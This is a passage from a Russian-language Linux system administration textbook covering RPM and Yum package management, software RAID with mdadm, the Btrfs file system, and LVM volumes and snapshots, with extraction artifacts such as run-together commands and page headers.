и приступить к анализу полученной информации.

Управление программным обеспечением

Для операционных систем MS Windows или Mac OS программное обеспечение поставляется в виде одного или нескольких установочных файлов, распространяемых на CD/DVD или через интернет. Для GNU/Linux также существует подобный способ распространения ПО, однако, это в большин- стве своем проприетарные и закрытые программы. Большая часть программного обеспечения GNU/Linux хранится в специальных файлах (пакетах), в которых содержатся не только сами программы и необходимые им библиотеки, но и вспомога- тельная информация для их установки. В Red Hat совместимых дистрибутивах используется пакеты формата RPM. Имена файлов RPM имеют вид:

<имя пакета>-<версия>-<релиз>.<архитектура>.rpm

При установке или удалении программ из пакетов RPM проверяются необходимые зависимости: • Пакет программ не будет установлен до тех пор пока не будут установлены все пакеты от которых зависит его работоспособность. • Пакет не будет удален до тех пор пока не будут удалены все пакеты, работа которых зависит от удаляемого пакета.

Утилита RPM

Файлы пакетов программ не являются исполнительными файлами. Для установки программного обеспечения предусмотрена специальная утилита - rpm. Для удаления установленного пакета используется команда: rpm-e<имя пакета>

Примечание: При удалении пакета можно использовать только его имя, без указания версии, релиза и т.д.

Для установки нового пакета, используется команда:

1.1. Операционная система GNU/Linux 81 ABC Unix, Выпуск 1.0.01

rpm-i<файл пакета>

Для установки или обновления пакета, используется команда: rpm-U<файл пакета>

RPM автоматически деинсталлирует старую версию пакета и инсталлирует новую. Только для обновления уже установленного пакета, используется команда: rpm-F<файл пакета>

Запрос к базе установленных пакетов: rpm-q<имя пакета>

выводит имя пакета, версию и номер релиза установленного пакета. Используется для проверки факта установки пакета, а также для определения версии установленного пакета. Для получения информации о пакете используется запрос вида: rpm-qi<имя пакета>

Эта команда выводит информацию о пакете, включая имя, версию и описание установленной про- граммы. Для получения списка файлов в пакете используется запрос вида: rpm-ql<имя пакета>

Команда выдает список всех файлов установленного пакета.

Система управления пакетами Yum

Система Yum базируется на репозиториях программного обеспечения и предназначена для решения следующих задач: • Поиск пакетов в репозиториях • Установка пакетов из репозиториев • Установка пакетов из .rpm файлов, с разрешением зависимостей с помощью репозиториев • Обновление системы • Удаление не нужных пакетов Фактически yum представляет собой надстройку над утилитой rpm, которая обеспечивает работу с репозиториями программного обеспечения. Репозитории – это специальные хранилища пакетов программ. Настройка репозитория системы Yum осуществляется с помощью файла:

/etc/yum.conf

Этот файл содержит несколько секций. Секции бывают двух типов - главная и секции репозито- риев. Главная секция (обозначается ключевым словом [main]) содержит глобальные опции конфи- гурации. Секция (секции) репозиториев определяют конфигурацию отдельного репозитория. Файл /etc/yum.conf может содержать одну или несколько секций репозиториев. Но иногда такие секции могут вообще отсутствовать в этом файле - они выносятся в отдельные файлы, располагающиеся в каталоге:

/etc/yum.repos.d

82 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Опции, часто используемые в главной секции

cachedir=/var/cache/yum

рабочий каталог, в котором будут сохраняться загруженные для обновления или установки пакеты

keepcache=0

сохранять (=1) или удалять (=0) файлы пакетов в рабочем каталоге после успешной инсталляции

gpgcheck=1

если значение этой опции равно 1, то будет производиться проверка цифровой подписи GPG при установке пакетов.

tsflags=nodocs

не устанавливать документацию в каталог /usr/share/doc.

Команда yum

От команды rpm отличается возможностью автоматически удовлетворять зависимости (устанав- ливать все, что необходимо для работы пакета). В большинстве случаев для работы команды необ- ходимо подключение к интернет. Проверка обновлений производиться командой:

yum check-update

По этой команде синхронизируется база данных программного обеспечения доступного в интер- нет с базой данных хранящейся локально. В результате выводиться список пакетов для которых доступны новые версии. Для удаления установленного пакета используется команда:

yum remove<имя пакета>

Примечание: Если удаляемый пакет необходим для работы других программ – все эти программы будут удалены.

Для установки нового пакета, используется команда:

yum install<имя пакета>

Может понадобиться доступ к интернет, для установки пакетов отсутствующих в локальном репо- зитории. Установка локального пакета с проверкой и удовлетворением зависимостей из репозиториев:

yum localinstall<имя файла rpm с расширением>

Для обновления уже установленного пакета, используется команда:

yum update<имя пакета>

Для обновления всех установленных пакетов, используется команда:

yum update

1.1. Операционная система GNU/Linux 83 ABC Unix, Выпуск 1.0.01

Эти две команды предполагают подключение к интернет, поскольку обновленные пакеты загружа- ются с сайтов разработчиков. Для поиска в репозиториях служат три команды: list, search и provides. Самый простой способ поиска - использование команды list. Команда: yum list

выводит (для всех репозиториев) имя пакета, версию, номер релиза и имя репозитория для всех (установленных и неустановленных) пакетов. Используется для проверки факта установки пакета, а также для определения версии установленного пакета. Для просмотра отдельных пакетов по их имени используется команда: yum list<имя пакета>

Команда search ищет в названии пакета и его описании указанную строку: yum search<строка поиска>

Команда provides позволяет производить поиск пакетов содержащих указанный файл: yum provides<имя файла>

Все команды поиска поддерживают групповые символы ? и * (необходимо “экранировать” символом “”). К примеру, для поиска пакетов начинающихся на php можно использовать команду: yum list php\*

для поиска пакетов, содержащих файлы в директории /etc/httpd: yum provides/etc/httpd\*

Поиск пакетов из определенного репозитория, например, epel: yum--disablerepo"*"--enablerepo=epel list

Для получения информации о пакете используется запрос вида: yum info<имя пакета>

Эта команда выводит информацию о пакете, включая имя, версию и описание установленной про- граммы.

Создание и обслуживание RAID

Обычно устройствами, для построения программного RAID, являются разделы диска. Объединение нескольких разделов на одном диске (как это описано ниже в учебном примере) бессмысленно, такое объединение не увеличивает производительности и не повышает безопасности хранения данных. Программный RAID может работать на SCSI,SATA или PATA накопителях. На программном RAID-устройстве под GNU/Linux может быть создана файловая система любого типа, однако наиболее «приспособленными» для использования на RAID-массивах является файловые системы ext3,ext4 и xfs.

Примечание: В дальнейшем будут использоваться следующие обозначения:

N - количество активных дисков в массиве (без учета резервных дисков);

84 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

S - размер наименьшего устройства в массиве; P - производительность одного диска в массиве в Мб/с (предполагается, что производительность дисков одинакова).

GNU/Linux поддерживает следующие уровни программного RAID: Линейный Два или более дисков объединяются в одно устройство. Диски не обязательно должны быть одного размера. Нет резервирования информации (избыточности), поэтому при выходе из строя любого диска, скорее всего, часть данных будет потеряна. Производительность чтения и записи не увеличивается на одиночных операциях считывания/записи. Stripe (RAID-0) Подобен линейному, исключая то, что чтение и запись производится параллельно на два устройства. Устройства должны иметь приблизительно один размер. Так как доступ производится параллельно, устройства заполняются одинаково. Если одно устройство больше, чем другие, то при записи в конец RAID устройства, используется только одно устройство (большее по размеру), что снижает производительность. Нет резервирования информации (избыточности). В отличии от линейного режима данные на устройство записываются не последовательными фрагментами, а произвольными блоками. При выходе из строя одного устройства восстановление информации невозможно. Производительность чтения и записи увеличивается, так как чтение и запись будут выполняться параллельно на несколько устройств. Обычно, это главная причина использования этого уровня RAID. Теоретически, можно получить увеличение производительности в N раз. RAID-1 Это первый режим, который резервирует информацию. На всех носителях хранится полная копия данных. Может использоваться на двух или более накопителях (возможна настройка резервного диска). Если размер дисков не одинаков, то RAID будет размером с наименьший. Сохраняет целостность данных при выходе из строя N-1 диска. Если имеются резервные диски, то после обнаружения отказа, начинается немедленная реконструкция зеркала на резервные диски. Производительность записи ниже чем у самого медленного накопителя, так как информация записывается на все устройства. Скорость чтения низкая из-за плохой стратегии балансировки чтения в коде программного RAID. RAID-4 Вместо полного дублирования информации на отдельном диске сохраняется контрольная сумма. Так как один диск зарезервирован для хранения контрольных сумм, размер массива (N-1)*S, где S - размер наименьшего устройства с данными. Может быть использован с тремя или более дисками. При отказе одного диска информация может быть восстановлена. Информация с контрольными суммами хранится на одном диске. Эта информация должна обновляться при записи на любой диск, что приводит к потере производительности. Использование такого RAID эффективно, если диск с

1.1. Операционная система GNU/Linux 85 ABC Unix, Выпуск 1.0.01

информацией о четности существенно производительнее дисков для хранения информации. RAID-5 Вместо полного дублирования информации на всех накопителях сохраняется контрольная сумма для восстановления любого другого накопителя. Может использоваться на трех или более дисках, при необходимости можно использовать резервные диски. Размер RAID устройства будет (N-1)*S. RAID-5 может обеспечивать целостность данных при отказе одного диска, но не двух и более. Если имеются резервные диски, при отказе устройства немедленно начинается реконструкция. Главное отличие между RAID-5 и -4 в том, что избыточная информация о четности распределена по всем устройствам, что увеличивает производительность как чтения, так и записи. Это, пожалуй, самый полезный режим RAID для соединения нескольких физических дисков с обеспечением избыточности.

Увеличение производительности виртуальной памяти

Для увеличения производительности виртуальной памяти можно использовать stripe- RAID. Ядро ОС способно одновременно обращаться к любому количеству разделов подкачки, если указать одинаковый приоритет для этих разделов в конфигурационном файле /etc/fstab:

/dev/sda1 swap swap defaults,pri=100 /dev/sdb1 swap swap defaults,pri=100

Необходимость в использовании RAID с избыточностью в качестве устройства для раздела подкач- ки возникает в случае систем высокая готовность. Если устройство на котором находится раздел подкачки выходит из строя, то ОС через некоторое время останавливается. Раздел подкачки, раз- мещенный на устройстве RAID-1 решает эту проблему.

Создания RAID устройства

Для создания RAID устройства необходимо выполнить следующую последовательность действий: • создать разделы с типом файловой системы fd (Linux raid autodetect); • создать RAID-устройство с помощью команды mdadm; Рассмотрим пример создания RAID-масива 5-го уровня. Создадим 3 раздела по 256 Mb. Ниже показано как это сделать для одного раздела (вводимые команды выделены шрифтом): fdisk/dev/sda

Command (m for help): n[Enter] Command action l logical (5 or over) p primary partition (1-4) l[Enter] First cylinder (417-522, default 417): [Enter] Using default value 417 Last cylinder or +size or +sizeM or +sizeK (417-522, default 522): +256M[Enter] Command (m for help): t[Enter]

86 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Partition number (1-7): 5[Enter] Hex code (type L to list codes): fd[Enter] Changed system type of partition 5 to fd (Linux raid autodetect)

После создания всех 3-х разделов разбиение диска должно выглядеть следующим образом:

fdisk-l/dev/sda Device Boot Start End Blocks Id System /dev/sda11 66 530113+ 82 Linux swap/ Solaris /dev/sda2* 67 384 2554335 83 Linux /dev/sda4 385 522 11084855 Extended /dev/sda5 385 416 257008+ fd Linux raid autodetect /dev/sda6 417 448 257008+ fd Linux raid autodetect /dev/sda7 449 480 257008+ fd Linux raid autodetect

Примечание: Разделы под RAID не нуждаются в форматировании. После создания разделов ОС необходимо перезагрузить.

Создадим RAID-устройство 5-го уровня:

mdadm--create/dev/md0--level=5--raid-devices=3/dev/sda5/dev/sda6/dev/sda7

где:

/dev/md0 –имя файла устройства для RAID (вместо md0 можно использовать любое допустимое имя файла); --level 5 – тип RAID (в данном случае RAID-5); --raid-devices=3 – количество устройств в RAID.

Созданное RAID устройство при следующей загрузке ОС подготавливается к работе автоматиче- ски.

Использование RAID

Состояние RAID массива можно контролировать, просматривая файл:

cat/proc/mdstat

Вывод данной команды в нашем случае выглядит следующим образом:

Personalities : [raid5] [raid4] md0 : active raid5 sda7[2] sda6[1] sda5[0] 513792 blocks level5, 64k chunk, algorithm2[3/3] [UUU] unused devices:

где:

Personalities : [raid5] [raid4] - тип RAID массива; md0 : active raid5 sda7[2] sda6[1] sda5[0] - активные устройства и их состояние; 513792 blocks level 5, 64k chunk, algorithm 2 [3/3] - основные параметры RAID; [UUU] - индикатор, в котором символ U соответствует работающему элементу, а символ _ - отключенному элементу RAID массива; unused devices: - наличие резервных устройств.

1.1. Операционная система GNU/Linux 87 ABC Unix, Выпуск 1.0.01

Для наблюдения за состоянием RAID массива удобно выполнить команду watch (в отдельном окне или терминале), которая повторяет команду cat /proc/mdstat с заданным интервалом (по умолча- нию 1сек.): watch cat/proc/mdstat

После создания RAID массива для его использования необходимо: • Создать на устройстве md0 файловую систему mkfs.xfs/dev/md0

• Cмонтировать устройство mount/dev/md0/mnt/md0

Имитация отказа накопителя

Для имитации отказа накопителя можно воспользоваться следующей командой: mdadm/dev/md0-f/dev/sda5

После успешного выполнения команды выдается сообщение: mdadm: set/dev/sda5 faulty in/dev/md0

Состояние RAID массива после вывода из строя устройства sda5 можно проанализировать с помо- щью команды: cat/proc/mdstat

В данном случае вывод этой команды выглядит следующим образом:

Personalities : [raid5] [raid4] md0 : active raid5 sda7[2] sda6[1] sda5[3](F) 513792 blocks level5, 64k chunk, algorithm2[3/3] [_UU] unused devices:

Во второй строке вышедшее из строя устройство sda5 помечается как (F), а вместо символа U в индикаторе состояния отображается символ подчеркивания. Последовательность действий по восстановлению RAID выглядит следующим образом: • отключение вышедшего из строя накопителя: mdadm/dev/md0-r/dev/sda5

• восстановление или замена накопителя; • подключение накопителя: mdadm/dev/md0-a/dev/sda

При выполнении этих команд полезно наблюдать за содержимым файла /proc/mdstat как это было показано выше.

Введение в файловую систему BTRFS

Основные параметры и характеристики

Основные характеристики:

88 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

• Максимальный размер файловой системы - 16 EiB. • Максимальный размер файла - 8 EiB. • Максимальное количество файлов - 2^64. • Максимальная длина имени файла - 255 байт. • Фиксация времени изменеия данных с точностью до наносекунды. • Расширенные атрибуты POSIX и ACL. Файловая система Btrfs использует механизм copy-on-write (CoW), в соответствии с которым: • при измененнии данные всегда записываются в новое место; • сначала записываются измененные данные, а затем обновляются ссылки в дереве. В сочетании с ведением журнала для данных это позволяет в любой момент времени сделать откат к старой версии данных. За счет этого достигается устойчивость файловой системы к сбоям Для хранения данных в Btrfs используется b-дерево (b-tree) с вычислением контрольных сумм для узлов, что позволяет отслеживать корректность файловой системы и восстановливать данные. Небольшие файлы (по умолчанию до 8К) храниться непосредственно в метаданных что снижает накладные расходы и уменьшает фрагментацию. Файловая система Btrfs поддерживает: • объединение устройств и разделов в RAID; • добавление и удаление дисков, изменение размера файловой системы в режиме “on-line” (без размонтирования); • прозрачное сжатие данных; • создание подтомов и подтомов для подтомов с возможностью их монтирования как обычного устройства; • создание снимков файловой системы и снимков для снимков с возможностью их монтирования как обычного устройства; • копирование файла без увеличения используемого дискового пространства (пока копия сов- падает с оригиналом, копия является жесткой ссылкой); • синхронизацию с удалённым зеркалом.

Создание

# mkfs.btrfs <УСТРОЙСТВО>

Примечание: В RHEL 7.2 выдается предупреждение:

WARNING: The skinny-metadata mkfs default feature will work with the current kernel, but it is not compatible with older kernels supported on this OS. You can disable it with-O^skinny-metadata option in mkfs.btrfs

Суть предупреждения: при форматировании была использована опция, которая не будет поддер- живаться в будущем. Предлагается выполнить команду с опцией:

# mkfs.btrfs -f -O ^skinny-metadata <УСТРОЙСТВО>

1.1. Операционная система GNU/Linux 89 ABC Unix, Выпуск 1.0.01

Преобразование файловых систем семейства ext в btrfs

Утилита btrfs-convert создает файловую систему Btrfs, переписывая существующую ext3/ext4 путем чтения ее и создания b-деревьев на свободном дисковом пространстве. Подобно созданию снимков, эта вторая файловая система не занимает дополнительного места, если файлы не изме- няются. Когда же файлы изменены, оригинальная версия файловой системы ext сохраняется, так что можно “откатить” назад весь процесс конвертирования и восстановить файловую систему в ее прежнем, до Btrfs, состоянии. Для преобразования сначала необходимо запустить утилиту fsck для проверки файловой системы на возможные ошибки. После этого можно запускать конвертацию:

# btrfs-convert <УСТРОЙСТВО>

Затем подмонтировать вновь созданную Btrfs-систему:

# mount -t btrfs <УСТРОЙСТВО> <ТОЧКА_МОНТИРОВАНИЯ>

Оригинальная ext-система сохраняется в виде снимка с именем ext2_saved (даже если она имела формат ext3 или ext4). Можно примонтировать снимок:

# mount -t btrfs -o subvol=ext2_saved device /mnt/ext2_saved

Вернуть снимок файловой системы ext в первоначальное состояние (до изменений) можно так:

# btrfs-convert -r <УСТРОЙСТВО>

Монтирование mount [--degraded-t btrfs]<УСТРОЙСТВО><ТОЧКА_МОНТИРОВАНИЯ>

Примечание: Если файловая система “попорченна”, то ее можно смонтировать так: mount--degraded-t btrfs<УСТРОЙСТВО><ТОЧКА_МОНТИРОВАНИЯ>

Создание файловой системы заданного размера (размер в байтах):

# mkfs.btrfs -b 120134 <УСТРОЙСТВО>

Создание файловой системы с заданным размером сектора (размер в байтах):

# mkfs.btrfs -s 2345 <УСТРОЙСТВО>

RAID-массив

Файловая система btrfs позволяет объединять несколько блочных устройств в массив: • single устройства соединяются “последовательно”; • raid1 (если устройство оддно, то для каждого файла создается копия); • raid10; • raid5 и raid6.

Предупреждение: Использование на настояший момент (2017 г.) raid5 и raid6 может привести к потере данных.

90 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Блочные устройства можно добавлять и удалять без размонтирования. Можно изменять тип RAID и перераспределять данные между устройствами (балансировать). Команда для создания RAID:

# mkfs.btrfs <УСТРОЙСТВО_1> <УСТРОЙСТВО_2> <УСТРОЙСТВО_3>

В данном случае типы распределения метаданных и данных не указан явно, поэтому каждое устройство будет поделено на массив типа RAID0 (“с чередованием”) для данных и на массив типа RAID1 (“зеркало”) для метаданных. Тип массива, можно указать явно: -m profile -тип массива для метаданных; -d profile -тип массива для данных. где: profile это single, RAID1, RAID5, RAID6 (нужны 3 устройства) или RAID10 (нужны 4 устрой- ства). Примеры: • “зеркало” для метаданных, RAID5 для данных:

mkfs.btrfs-f-L ORICO-m RAID1-d RAID5/dev/sdc1/dev/sdd1

• “зеркало” для метаданных, “зеркало” для данных:

mkfs.btrfs-f-L ORICO-m RAID1-d RAID1/dev/sdc1/dev/sdd1

• “зеркало” для метаданных, RAID6 для данных:

mkfs.btrfs-f-L ORICO-m RAID1-d RAID6/dev/sdc1/dev/sdd1/dev/sde1

• “зеркало” для метаданных, RAID10 для данных:

mkfs.btrfs-f-L ORICO-m RAID1-d RAID10/dev/sdc1/dev/sdd1/dev/sde1/dev/sdf1

Для монтирования RAID-массивов в качестве устройства можно указать любое (из входящих в него) устройств. Например, если создан двух-дисковый массив:

# mkfs.btrfs <УСТРОЙСТВО_1> <УСТРОЙСТВО_2>

то подмонтировать его можно командой:

# mount -t btrfs <УСТРОЙСТВО_2> <ТОЧКА_МОНТИРОВАНИЯ>

Добавление дополнительного устройства к уже существующему массиву:

# btrfs device add <УСТРОЙСТВО_N> <ТОЧКА_МОНТИРОВАНИЯ>

Примечание: Добавление устройства в массив возможно только тогда, когда массив смонтирован.

Примечание: После добавления устройства, строка описывающая монтирование массива не ме- няется, устройству присваивается UUID RAID-массива.

Добавление третьего устройства:

# btrfs device add <УСТРОЙСТВО_3> <ТОЧКА_МОНТИРОВАНИЯ>

Если добавляемое устройство уже содержит файловую систему (отформатировано), то нужно ис- пользовать опцию -f:

1.1. Операционная система GNU/Linux 91 ABC Unix, Выпуск 1.0.01

# btrfs device add -f <УСТРОЙСТВО_3> <ТОЧКА_МОНТИРОВАНИЯ>

Примечание: Если компьютер будет перезагружен после добавления устройства, но до баланси- ровки файловой ссистемы, то для монтирования массива потребуется опция --degraded.

После того, как новое устройство добавлено, нужно синхронизировать данные:

# btrfs filesystem balance <ТОЧКА_МОНТИРОВАНИЯ>

Примечание: Для RAID-массивов большого размера эта операция может занять продолжитель- ное время. Если синхронизация будет прервана, то после нового монтирования она не возобновля- ется автоматически, ее надо запустить вручную заново.

RAID-массива с вышедшим из строя устройством монтируется только на чтение. Для того, чтобы удалить неисправное устройство нужно сначала смонтировать массив с опцией --degraded:

# mount -t btrfs -o degraded <УСТРОЙСТВО> <ТОЧКА_МОНТИРОВАНИЯ>

Удаление устройства из RAID-массива:

# btrfs device delete <ПЛОХОЕ_УСТРОЙСТВО> <ТОЧКА_МОНТИРОВАНИЯ>

Примечание: Для RAID-массивов большого размера эта операция может занять продолжитель- ное время.

Примечание: Если RAID1 состоит только из двух дисков, то удалить второй диск нельзя.

При удалении устройства все данные перенесятся на оставшиеся устройства. Если объема оставших- ся устройств недостаточно, то сначала нужно добавить в массив устройство необходимого размера, а затем удалять неисправное устройство. Замена устройства в RAID:

# btrfs replace start [-Brf] \ /dev/<СТАРОЕ_УСТРОЙСТВО>\ /dev/<НОВОЕ_УСТРОЙСТВО>\ <ТОЧКА_МОНТИРОВАНИЯ>

где: -r Данные читаются только с заменяемого устройства, другие устройства массива не используются. -f Операция будет выполнена при наличии на новом устройстве файловой системы. -B Выполнить не в фоновом режиме. Проверка состояния операции замены:

# btrfs replace status [-1] <ТОЧКА_МОНТИРОВАНИЯ>

где: -1 Выводится только одно сообщение. Прерывание операции замены:

92 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

# btrfs replace cancel <ТОЧКА_МОНТИРОВАНИЯ>

Изменение размера файловой системы:

# btrfs filesystem resize filesystem_name size

Аргумент size может принимать одно из трех значений:

- заданный размер (например, 1024M или 7G); - инкремент или декремент (например, +200M или -2G); - максимальный размер (max) - в этом случае файловая система будет создана на всем доступном пространстве диска или раздела.

Проверка

Проверка несмонтированного устройства <УСТРОЙСТВО> с файловй системой BTRFS:

# btrfs check <УСТРОЙСТВО>

Чтение всех данных с проверкой контрольных сумм смонтированной файловой системы BTRFS в фоновом режиме: • запуск:

# btrfs scrub start <ТОЧКА_МОНТИРОВАНИЯ>

• просмотр состояния:

# btrfs scrub status <ТОЧКА_МОНТИРОВАНИЯ>

• прерывание:

# btrfs scrub cancel <ТОЧКА_МОНТИРОВАНИЯ>

• продолжение:

# btrfs scrub resume <ТОЧКА_МОНТИРОВАНИЯ>

Восстановление

# btrfs check --repair <УСТРОЙСТВО>

Примечание: <УСТРОЙСТВО> не должно быть смонтировано.

Примечание: Для RAID необходимо проверять и восстанавливать все входящие в него устрой- ства.

Дефрагментация btrfs filesystem defrag-r<ТОЧКА_МОНТИРОВАНИЯ> btrfs balance start<ТОЧКА_МОНТИРОВАНИЯ>

1.1. Операционная система GNU/Linux 93 ABC Unix, Выпуск 1.0.01

Подтома

Подтома в Btrfs являются частью (sub-tree) основного дерева (tree) файловой системы. Они создаются внутри существующей файловой системы, но ведут себя подобно самостоятельным фай- ловым системам, со своими собственными точками монтирования, опциями и правами. В отличие от создания диска, разделенного на несколько разделов (партиций), подтома не требуют для себя дополнительного дискового пространства; они представляют из себя просто пустую директорию. Но как только начнется сохранение данных, размер подтомов начинает расти прямо пропорцио- нально объему добавляемых в них файлов. Преимущество такого подхода не только в экономии места на диске; это означает, что можно создать столько подтомов в одной файловой системе, сколько необходимо. И присоединять дополнительные съемные устройства к подтомам, когда устройства будут заполнены, вне зависимости от того, какой том имеет наибольший объем. Подтома можно рассматривать как директории, которые могут монтироваться так, как если бы это было устройство или образ файловой системы. Список всех имеющихся подтомов для заданной точки монтирования можно получить командой:

# btrfs subvolume list <ТОЧКА_МОНТИРОВАНИЯ>

Создание подтома:

# btrfs subvolume create <ПОДТОМ>

где <ПОДТОМ>-имя подтома. Если аргумент <ПОДТОМ> не содержит полный путь к каталогу с подтомом, то он будет создан в текущем каталоге. Подтом можно примонтировать, указав опцию subvolume команде mount. Удалить подтом можно командой:

# btrfs subvolume delete <ПОДТОМ>

Клоны файлов

Для отдельных фалов можно создавать клоны, которые в отличие от копирования используют один набор блоков на диске:

cp--reflink<ФАЙЛ><КЛОН>

Снимки

Btrfs поддерживает специальный тип подтомов - снимки:

# btrfs subvolume snapshot <КАТАЛОГ> <ПОДТОМ>

Эта команда создаст подтом в директории <ПОДТОМ>, который будет являться снимком директории <КАТАЛОГ>. Этот снимок можно переместить на съемное устройство или записать на диск. При создании снимков данные не дублируются, а делается копия b-дерева этих данных. Если данные в директории <КАТАЛОГ> не изменялись, снимок не занимает дополнительного дискового простран- ства.

Прозрачное сжатие

Опции compress и compress-force позволяют выполнять прозрачное сжатие данных в файловой системе; опция compress-force позволяет выполнять компрессию файлов, которые обычно имеют низкий коэффициент сжатия (таких, как сжатые аудио или видео форматы).

94 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

Оптимизация для SSD накопителей

Опция ssd включает несколько способов оптимизации, которые повышают производительность этих already-speed устройств.

Создание и обслуживание LVM

Системы управления логическими томами обеспечивает объединение разделов и дисков в виртуаль- ное хранилище. Это хранилище в терминах LVM называется логической группой (volume group). В рамках системы управления логическими томами (LVM) все физические диски и разделы вне зависимости от их размера и разбиения могут рассматриваться как единое хранилище данных. Использование логических томов снимает ограничения, связанные с классическим «разбиением» дискового пространства на разделы. Система управления логическими томами позволяет: • Добавлять диски или разделы в дисковую группу и расширять существующие файловые системы без остановки ОС • Заменять два носителя малого размера на одним большой без остановки ОС и ручного пере- носа данных • Уменьшать размер файловой системы и удалять освободившиеся носители без остановки ОС • Создавать резервные копии на основе мгновенных “снимков” файловой системы В системе управления логическими томами диски и разделы называются физическими томами (physical volume – PV). Объединение физических томов (дисков и разделов) называется группой томов (volume groups – VG). Группа томов может быть разбита на логические тома (logical volume – LV). Таким образом группа томов является LVM-аналогом диска, а логический том являются LVM-аналогом дисковых разделов. Логический том состоит из логических блоков (logical extent), которые сопоставляются реальным физическим блокам (physical extents). Если необходимо изменить размер логического тома (logical volume), то это можно сделать только на величину кратную физическому блоку (по умолчанию 4 Mb). Такая взаимосвязь физических и логических блоков называется термином mapping. Под- держивается mapping - линейный (linear mapping) и чередующийся (striped mapping). В первом случае, непрерывной последовательности физических блоков ставится в соответствие непрерывная последовательность логических блоков. Во втором, непрерывной последовательности логических блоков соответствует чередующаяся между различными физическими носителями последователь- ность логических блоков. Эта схема напоминает нулевой RAID-массив. При этом если разместить два диска на различных IDE-каналах можно добиться некоторого повышения производительности дисковых операций. Но надежность в таком случае ниже т.к. в случае выхода из строя одного дис- ка можно потерять все данные. Не стоит смешивать в одной группе томов оба метода, если есть в этом необходимость то для striped mapping обычно создают отдельную группу томов. Основные настройки системы LVM хранятся в файле:

/etc/lvm/lvm.conf

Для того, чтобы исключить из списка доступных для автоматического подключения устройств CDROM надо закоментировать строку: filter=["a/.*/"]

и раскоментировать строку: filter=["r|/dev/cdrom|"]

1.1. Операционная система GNU/Linux 95 ABC Unix, Выпуск 1.0.01

Создание LVM

С помощью программы fdisk создадим раздел /dev/sda8 с файловой системой 8e (разделы LVM). Далее: • инициализируем физический том: pvcreate/dev/sda8 Physical volume"/dev/sda8" successfully created

• создаем группу томов guap, в которую включаем физический том /dev/sda8: vgcreate guap/dev/sda8 Volume group"guap" successfully created

• создаем логический том ftpdata размеров в 150 Мб: lvcreate-L 150M-n ftpdata guap Logical volume"ftpdata" created

• проверяем состояние логических томов: lvscan ACTIVE '/dev/guap/ftpdata' [150,00M] next free (default)

• создаем файловую систему: mkfs.ext3/dev/guap/ftpdata

• монтируем логический том в каталог: mount/dev/guap/ftpdata

Удалить логический том можно командой: lvremove /dev/guap/ftpdata Do you really want to remove active logical volume "ftpdata"? [y/n]: ``y`` Logical volume "ftpdata" successfully removed

Удаление группы томов и очистка физического тома: vgremove guap Volume group"guap" successfully removed pvremove/dev/sda8 Labels on physical volume"/dev/sda8" successfully wiped

Расширение LVM

С помощью программы fdisk создадим раздел /dev/sda9 с файловой системой 8e (разделы LVM). Далее: • инициализируем физический том (раздел /dev/sda9): pvcreate/dev/sda9 Physical volume"/dev/sda9" successfully created

• добавляем новый физический том в группу: vgextend guap/dev/sda9 Volume group"guap" successfully extended

96 Глава 1. Операционная система GNU/Linux ABC Unix, Выпуск 1.0.01

• расширяем логический том на 20М: lvresize-L+20M/dev/guap/ftpdata Extending logical volume ftpdata to 170,00MB Logical volume ftpdata successfully resized

Примечание: Если на базе логического тома сделан “снимок”, то изменение размера не выпол- няется, выдается сообщение:

Snapshot origin volumes can be resized only while inactive: try lvchange-an

• расширяем файловую систему до размера логического тома: resize2fs/dev/guap/ftpdata

Особенности доступа к устройствам LVM

Для каждой группы томов в каталоге /dev создается каталог с именем этой группы, а логиче- ские тома представляются символическими ссылками из этих каталогов на блочные устройства, обслуживаемые драйвером device mapper. Любой том LVM можно адресовать следующим образом:

/dev/<имя_группы>/<имя_тома>

Ниже показан пример того, как можно монтировать дисковое пространство LVM: ls-la/dev/guap lr-xr-xr-x1 root root 23 Окт8 13:53 ftpdata->/dev/mapper/guap-ftpdata mount| grep guap /dev/mapper/guap-ftpdata on/var/ftp type xfs (rw)

Таким образом, возможности LVM позволяют системному администратору максимально эффек- тивно использовать дисковое пространство, оперативно реагируя на меняющиеся условия эксплу- атации. Еще одной интересной возможностью LVM является так называемый multipath I/O. В случае активации соответствующей опции в ядре device mapper знает о том, что физический том с некоторым UUID может быть доступен через несколько контроллеров, и в случае отказа одного контроллера динамически происходит переключение ввода-вывода на другой.

Использование LVM для архивирования больших наборов данных

Технология LVM позволяет создавать «снимки» (snapshot) логических томов. При создании снимка создается моментальная копия логического тома, которая начинает «жить» независимо от того тома, на основе которого она была создана. «Снимки» обычно используются для архивирования больших наборов данных. Выглядит это следующим образом. Создадим «снимок» тома ftpdata из группы томов guap, на котором «живет» файловая система /var/ftp, и назовем этот снимок ftp_snapshot. При этом для хранения копии измененных данных выделяем 10M дискового пространства: lvcreate-s-L 10M-n ftp_snapshot/dev/guap/ftpdata

После этой команды, каждый раз, когда будет переписываться какой-либо блок логического тома ftpdata, первоначальная версия изменяемого блока будет копироваться в те 10M дискового про- странства, которые выделены под снимок тома. Теперь можно архивировать «снимок»:

1.1. Операционная система GNU/Linux 97 ABC Unix, Выпуск 1.0.01

dd if=/dev/guap/ftp_snapshot of=/dev/st0

В процессе архивации, если читаемый блок не изменялся с момента создания снимка, то он читается из исходного тома (ftpdata), если же блок менялся с момента создания снимка, то используется его копия, хранимая в зарезервированном пространстве 10M. «Снимок» является разновидностью логического тома, его можно смонтировать для просмотра: mkdir/var/ftp_snapshot mount/dev/guap/ftp_snapshot/var/ftp_snapshot

После архивации «снимок» можно удалить: lvremove/dev/guap/ftp_snapshot

Перечень основных команд для управления LVM.

В примерах команд предполагается, что на втором SATA устройстве созданы два раздела для LVM: sdb1 и sdb2 Поиск виртуальных групп VG: vgscan

Активизировать виртуальную группу (-an – деактивизировать): vgchange-ay

Поиск физических томов: pvscan

Подготовка физического тома (тип раздела 8Eh): pvcreate/dev/sdb1

Просмотр информации о физическом томе: pvdisplay/dev/sdb1

Освобождение физического тома (перенос данных на другие физические тома): pvmove/dev/sdb1

Просмотр информации о виртуальной группе: vgdisplay vg00

Создание виртуальной группы на основе двух физических томов: vgcreate vg00/dev/sdb1/dev/sdb2

Удаление виртуальной группы: vgremove vg00

